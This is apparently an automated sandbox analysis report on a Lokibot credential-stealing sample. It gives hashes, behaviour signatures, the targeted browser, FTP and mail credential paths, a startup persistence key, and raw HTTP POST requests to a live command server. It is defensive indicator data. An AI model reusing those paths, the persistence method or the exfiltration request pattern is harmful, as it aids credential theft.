dtcjhrRy

1
2* ID: 881
3* MalFamily: "Lokibot"
4
5* MalScore: 10.0
6
7* File Name: "Loki_dc4d2a719a8f6353d0102858c9b0f352.1"
8* File Size: 921600
9* File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
10* SHA256: "8eac1bfd98d57bc7a33fc7637319ebf8727d4c04923f066a415089702e54accc"
11* MD5: "dc4d2a719a8f6353d0102858c9b0f352"
12* SHA1: "9f3ce02fb61065ac3731737d5d768f16e62d09d2"
13* SHA512: "0dad51cef994c0f69f420507e39ac567ebb318dfbc30c5a944be5ffb3c92b32f930d68c4e9b039018e75239f406ccecb9517ec0d5d0fafa6de0e90889b971429"
14* CRC32: "B72B8C3E"
15* SSDEEP: "3072:23Ra0Lux/6g4uK4QScFX/QMHNrylcgzuRSJwlQuv5hHUdw:GRa0Ltg4bdPQsrcJ2lZhs"
16
17* Process Execution: 
18    "W3jdoVj6smVuDSA.exe",
19    "wscript.exe",
20    "filename.exe",
21    "filename.exe",
22    "explorer.exe",
23    "services.exe",
24    "lsass.exe",
25    "taskhost.exe",
26    "WmiApSrv.exe",
27    "svchost.exe",
28    "svchost.exe",
29    "WmiPrvSE.exe"
30
31
32* Executed Commands: 
33    "\"C:\\Windows\\System32\\WScript.exe\" \"C:\\Users\\user\\subfolder\\filename.vbs\"",
34    "C:\\Users\\user\\subfolder\\filename.vbs ",
35    "\"C:\\Users\\user\\subfolder\\filename.exe\"",
36    "C:\\Users\\user\\subfolder\\filename.exe ",
37    "C:\\Windows\\system32\\lsass.exe",
38    "C:\\Windows\\system32\\wbem\\WmiApSrv.exe",
39    "C:\\Windows\\system32\\svchost.exe -k netsvcs"
40
41
42* Signatures Detected: 
43    
44        "Description": "Behavioural detection: Executable code extraction",
45        "Details": 
46    
47    
48        "Description": "SetUnhandledExceptionFilter detected (possible anti-debug)",
49        "Details": 
50    
51    
52        "Description": "Possible date expiration check, exits too soon after checking local time",
53        "Details": 
54            
55                "process": "W3jdoVj6smVuDSA.exe, PID 2220"
56            
57        
58    
59    
60        "Description": "Guard pages use detected - possible anti-debugging.",
61        "Details": 
62    
63    
64        "Description": "Detected script timer window indicative of sleep style evasion",
65        "Details": 
66            
67                "Window": "WSH-Timer"
68            
69        
70    
71    
72        "Description": "A process attempted to delay the analysis task.",
73        "Details": 
74            
75                "Process": "filename.exe tried to sleep 1804 seconds, actually delayed analysis time by 0 seconds"
76            
77        
78    
79    
80        "Description": "Reads data out of its own binary image",
81        "Details": 
82            
83                "self_read": "process: W3jdoVj6smVuDSA.exe, pid: 2220, offset: 0x00000000, length: 0x000e1000"
84            
85            
86                "self_read": "process: wscript.exe, pid: 1700, offset: 0x00000000, length: 0x00000040"
87            
88            
89                "self_read": "process: wscript.exe, pid: 1700, offset: 0x000000f0, length: 0x00000018"
90            
91            
92                "self_read": "process: wscript.exe, pid: 1700, offset: 0x000001e8, length: 0x00000078"
93            
94            
95                "self_read": "process: wscript.exe, pid: 1700, offset: 0x00018000, length: 0x00000020"
96            
97            
98                "self_read": "process: wscript.exe, pid: 1700, offset: 0x00018058, length: 0x00000018"
99            
100            
101                "self_read": "process: wscript.exe, pid: 1700, offset: 0x000181a8, length: 0x00000018"
102            
103            
104                "self_read": "process: wscript.exe, pid: 1700, offset: 0x00018470, length: 0x00000010"
105            
106            
107                "self_read": "process: wscript.exe, pid: 1700, offset: 0x00018640, length: 0x00000012"
108            
109        
110    
111    
112        "Description": "A process created a hidden window",
113        "Details": 
114            
115                "Process": "W3jdoVj6smVuDSA.exe -> C:\\Users\\user\\subfolder\\filename.vbs"
116            
117            
118                "Process": "W3jdoVj6smVuDSA.exe -> C:\\Users\\user\\subfolder\\filename.exe"
119            
120        
121    
122    
123        "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
124        "Details": 
125            
126                "post_no_referer": "HTTP traffic contains a POST request with no referer header"
127            
128            
129                "http_version_old": "HTTP traffic uses version 1.0"
130            
131            
132                "suspicious_request_iocs": "http://jiraiya.info/joe23/five/fre.php"
133            
134        
135    
136    
137        "Description": "Performs some HTTP requests",
138        "Details": 
139            
140                "url_iocs": "http://jiraiya.info/joe23/five/fre.php"
141            
142        
143    
144    
145        "Description": "A scripting utility was executed",
146        "Details": 
147            
148                "command": "\"C:\\Windows\\System32\\WScript.exe\" \"C:\\Users\\user\\subfolder\\filename.vbs\""
149            
150        
151    
152    
153        "Description": "Behavioural detection: Injection (Process Hollowing)",
154        "Details": 
155            
156                "Injection": "filename.exe(1096) -> filename.exe(1884)"
157            
158        
159    
160    
161        "Description": "Executed a process and injected code into it, probably while unpacking",
162        "Details": 
163            
164                "Injection": "filename.exe(1096) -> filename.exe(1884)"
165            
166        
167    
168    
169        "Description": "Attempts to repeatedly call a single API many times in order to delay analysis time",
170        "Details": 
171            
172                "Spam": "services.exe (500) called API GetSystemTimeAsFileTime 1139141 times"
173            
174        
175    
176    
177        "Description": "Steals private information from local Internet browsers",
178        "Details": 
179            
180                "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
181            
182        
183    
184    
185        "Description": "Installs itself for autorun at Windows startup",
186        "Details": 
187            
188                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Registry Key Name"
189            
190            
191                "data": "C:\\Users\\user\\subfolder\\filename.vbs -cz"
192            
193        
194    
195    
196        "Description": "Stack pivoting was detected when using a critical API",
197        "Details": 
198            
199                "process": "services.exe:500"
200            
201        
202    
203    
204        "Description": "Creates a hidden or system file",
205        "Details": 
206            
207                "file": "C:\\Users\\user\\AppData\\Roaming\\474604\\45B65D.exe"
208            
209            
210                "file": "C:\\Users\\user\\AppData\\Roaming\\474604"
211            
212        
213    
214    
215        "Description": "File has been identified by 17 Antiviruses on VirusTotal as malicious",
216        "Details": 
217            
218                "FireEye": "Generic.mg.dc4d2a719a8f6353"
219            
220            
221                "Cylance": "Unsafe"
222            
223            
224                "Invincea": "heuristic"
225            
226            
227                "F-Prot": "W32/VBKrypt.ZA.gen!Eldorado"
228            
229            
230                "Symantec": "Trojan Horse"
231            
232            
233                "APEX": "Malicious"
234            
235            
236                "Paloalto": "generic.ml"
237            
238            
239                "Sophos": "Mal/FareitVB-N"
240            
241            
242                "SentinelOne": "DFI - Suspicious PE"
243            
244            
245                "Cyren": "W32/VBKrypt.ZA.gen!Eldorado"
246            
247            
248                "Microsoft": "Trojan:Win32/Wacatac.B!ml"
249            
250            
251                "Endgame": "malicious (high confidence)"
252            
253            
254                "Acronis": "suspicious"
255            
256            
257                "ESET-NOD32": "a variant of Win32/Injector.EHNM"
258            
259            
260                "Fortinet": "W32/Injector.EHNM!tr"
261            
262            
263                "AVG": "FileRepMalware"
264            
265            
266                "Qihoo-360": "HEUR/QVM03.0.A57D.Malware.Gen"
267            
268        
269    
270    
271        "Description": "Creates a copy of itself",
272        "Details": 
273            
274                "copy": "C:\\Users\\user\\subfolder\\filename.exe"
275            
276            
277                "copy": "C:\\Users\\user\\AppData\\Roaming\\474604\\45B65D.exe"
278            
279        
280    
281    
282        "Description": "Drops a binary and executes it",
283        "Details": 
284            
285                "binary": "C:\\Users\\user\\subfolder\\filename.exe"
286            
287        
288    
289    
290        "Description": "Harvests credentials from local FTP client softwares",
291        "Details": 
292            
293                "file": "C:\\Users\\user\\AppData\\Roaming\\FileZilla\\sitemanager.xml"
294            
295            
296                "file": "C:\\Users\\user\\AppData\\Roaming\\FileZilla\\recentservers.xml"
297            
298            
299                "file": "C:\\Users\\user\\AppData\\Roaming\\Far Manager\\Profile\\PluginsData\\42E4AEB1-A230-44F4-B33C-F195BB654931.db"
300            
301            
302                "file": "C:\\Program Files (x86)\\FTPGetter\\Profile\\servers.xml"
303            
304            
305                "file": "C:\\Users\\user\\AppData\\Roaming\\FTPGetter\\servers.xml"
306            
307            
308                "file": "C:\\Users\\user\\AppData\\Roaming\\Estsoft\\ALFTP\\ESTdb2.dat"
309            
310            
311                "key": "HKEY_CURRENT_USER\\Software\\Far\\Plugins\\FTP\\Hosts"
312            
313            
314                "key": "HKEY_CURRENT_USER\\Software\\Far2\\Plugins\\FTP\\Hosts"
315            
316            
317                "key": "HKEY_CURRENT_USER\\Software\\Ghisler\\Total Commander"
318            
319            
320                "key": "HKEY_CURRENT_USER\\Software\\LinasFTP\\Site Manager"
321            
322        
323    
324    
325        "Description": "Harvests information related to installed instant messenger clients",
326        "Details": 
327            
328                "file": "C:\\Users\\user\\AppData\\Roaming\\.purple\\accounts.xml"
329            
330        
331    
332    
333        "Description": "Harvests information related to installed mail clients",
334        "Details": 
335            
336                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook"
337            
338            
339                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046\\Email"
340            
341            
342                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046"
343            
344            
345                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9234ed9445f8fa418a542f350f18f326"
346            
347            
348                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8408552e6dae7d45a0ba01520b6221ff\\Email"
349            
350            
351                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9234ed9445f8fa418a542f350f18f326\\Email"
352            
353            
354                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001"
355            
356            
357                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002"
358            
359            
360                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\Email"
361            
362            
363                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\c02ebc5353d9cd11975200aa004ae40e\\Email"
364            
365            
366                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8f92b60606058348930a96946cf329e1\\Email"
367            
368            
369                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8408552e6dae7d45a0ba01520b6221ff"
370            
371            
372                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2"
373            
374            
375                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\240a97d961ed46428e29a3f1f1c23670"
376            
377            
378                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\b22783abb139fe46b0aad551d64b60e7\\Email"
379            
380            
381                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\c02ebc5353d9cd11975200aa004ae40e"
382            
383            
384                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2\\Email"
385            
386            
387                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\Email"
388            
389            
390                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a\\Email"
391            
392            
393                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001\\Email"
394            
395            
396                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
397            
398            
399                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\cb23f8734d88734ca66c47c4527fd259"
400            
401            
402                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001"
403            
404            
405                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook"
406            
407            
408                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\cb23f8734d88734ca66c47c4527fd259\\Email"
409            
410            
411                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook"
412            
413            
414                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\b22783abb139fe46b0aad551d64b60e7"
415            
416            
417                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\240a97d961ed46428e29a3f1f1c23670\\Email"
418            
419            
420                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604\\Email"
421            
422            
423                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\Email"
424            
425            
426                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a"
427            
428            
429                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046"
430            
431            
432                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604"
433            
434            
435                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8f92b60606058348930a96946cf329e1"
436            
437            
438                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046\\Email"
439            
440        
441    
442    
443        "Description": "Collects information to fingerprint the system",
444        "Details": 
445    
446    
447        "Description": "Created network traffic indicative of malicious activity",
448        "Details": 
449            
450                "signature": "ET TROJAN LokiBot User-Agent (Charon/Inferno)"
451            
452            
453                "signature": "ET TROJAN LokiBot Fake 404 Response"
454            
455            
456                "signature": "ET TROJAN LokiBot Checkin"
457            
458            
459                "signature": "ET TROJAN LokiBot Request for C2 Commands Detected M2"
460            
461            
462                "signature": "ET TROJAN LokiBot Request for C2 Commands Detected M1"
463            
464            
465                "signature": "ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1"
466            
467            
468                "signature": "ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2"
469            
470        
471    
472
473
474* Started Service: 
475    "VaultSvc",
476    "wmiApSrv"
477
478
479* Mutexes: 
480    "Local\\ZoneAttributeCacheCounterMutex",
481    "Local\\ZonesCacheCounterMutex",
482    "Local\\ZonesLockedCacheCounterMutex",
483    "6EFA73A4746045B65DEE781E",
484    "Global\\RefreshRA_Mutex_Lib",
485    "Global\\RefreshRA_Mutex",
486    "Global\\RefreshRA_Mutex_Flag",
487    "Global\\WmiApSrv"
488
489
490* Modified Files: 
491    "C:\\Users\\user\\subfolder\\filename.exe",
492    "C:\\Users\\user\\subfolder\\filename.vbs",
493    "C:\\Users\\user\\AppData\\Roaming\\474604\\45B65D.lck",
494    "C:\\Users\\user\\AppData\\Roaming\\474604\\45B65D.exe",
495    "C:\\Windows\\sysnative\\LogFiles\\Scm\\5869f1c1-01d7-41f7-84b7-715672259fa8",
496    "\\??\\WMIDataDevice",
497    "\\??\\PIPE\\samr",
498    "C:\\Windows\\sysnative\\wbem\\repository\\WRITABLE.TST",
499    "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING1.MAP",
500    "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING2.MAP",
501    "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING3.MAP",
502    "C:\\Windows\\sysnative\\wbem\\repository\\OBJECTS.DATA",
503    "C:\\Windows\\sysnative\\wbem\\repository\\INDEX.BTR",
504    "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2PROVIDERSUBSYSTEM",
505    "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER"
506
507
508* Deleted Files: 
509    "C:\\Users\\user\\AppData\\Roaming\\474604\\45B65D.lck",
510    "C:\\Users\\user\\subfolder\\filename.exe"
511
512
513* Modified Registry Keys: 
514    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\UNCAsIntranet",
515    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\AutoDetect",
516    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\CEBFF5CD-ACE2-4F4F-9178-9926F41749EA\\Count\\1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7\\pzq.rkr",
517    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\CEBFF5CD-ACE2-4F4F-9178-9926F41749EA\\Count\\HRZR_PGYFRFFVBA",
518    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Registry Key Name",
519    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\wmiApSrv\\Type",
520    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\Winmgmt\\Type",
521    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\PROVIDERS\\Performance\\Performance Refreshed",
522    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ProcessID",
523    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ThrottleDrege",
524    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\Winmgmt\\Parameters\\ServiceDllUnloadOnStop",
525    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\LastServiceStart",
526    "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Wbem\\Transports\\Decoupled\\Server",
527    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\CreationTime",
528    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\MarshaledProxy",
529    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\ProcessIdentifier",
530    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ConfigValueEssNeedsLoading",
531    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\List of event-active namespaces",
532    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\ESS\\//./root/CIMV2\\SCM Event Provider"
533
534
535* Deleted Registry Keys: 
536    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
537    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
538    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
539    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName"
540
541
542* DNS Communications: 
543    
544        "type": "A",
545        "request": "jiraiya.info",
546        "answers": 
547            
548                "data": "47.88.102.244",
549                "type": "A"
550            
551        
552    
553
554
555* Domains: 
556    
557        "ip": "47.88.102.244",
558        "domain": "jiraiya.info"
559    
560
561
562* Network Communication - ICMP: 
563
564* Network Communication - HTTP: 
565    
566        "count": 2,
567        "body": "",
568        "uri": "http://jiraiya.info/joe23/five/fre.php",
569        "user-agent": "Mozilla/4.08 (Charon; Inferno)",
570        "method": "POST",
571        "host": "jiraiya.info",
572        "version": "1.0",
573        "path": "/joe23/five/fre.php",
574        "data": "POST /joe23/five/fre.php HTTP/1.0\r\nUser-Agent: Mozilla/4.08 (Charon; Inferno)\r\nHost: jiraiya.info\r\nAccept: */*\r\nContent-Type: application/octet-stream\r\nContent-Encoding: binary\r\nContent-Key: C43E704C\r\nContent-Length: 176\r\nConnection: close\r\n\r\n",
575        "port": 80
576    
577    
578        "count": 32,
579        "body": "",
580        "uri": "http://jiraiya.info/joe23/five/fre.php",
581        "user-agent": "Mozilla/4.08 (Charon; Inferno)",
582        "method": "POST",
583        "host": "jiraiya.info",
584        "version": "1.0",
585        "path": "/joe23/five/fre.php",
586        "data": "POST /joe23/five/fre.php HTTP/1.0\r\nUser-Agent: Mozilla/4.08 (Charon; Inferno)\r\nHost: jiraiya.info\r\nAccept: */*\r\nContent-Type: application/octet-stream\r\nContent-Encoding: binary\r\nContent-Key: C43E704C\r\nContent-Length: 149\r\nConnection: close\r\n\r\n",
587        "port": 80
588    
589
590
591* Network Communication - SMTP: 
592
593* Network Communication - Hosts: 
594    
595        "country_name": "United States",
596        "ip": "47.88.102.244",
597        "inaddrarpa": "",
598        "hostname": "jiraiya.info"
599    
600
601
602* Network Communication - IRC: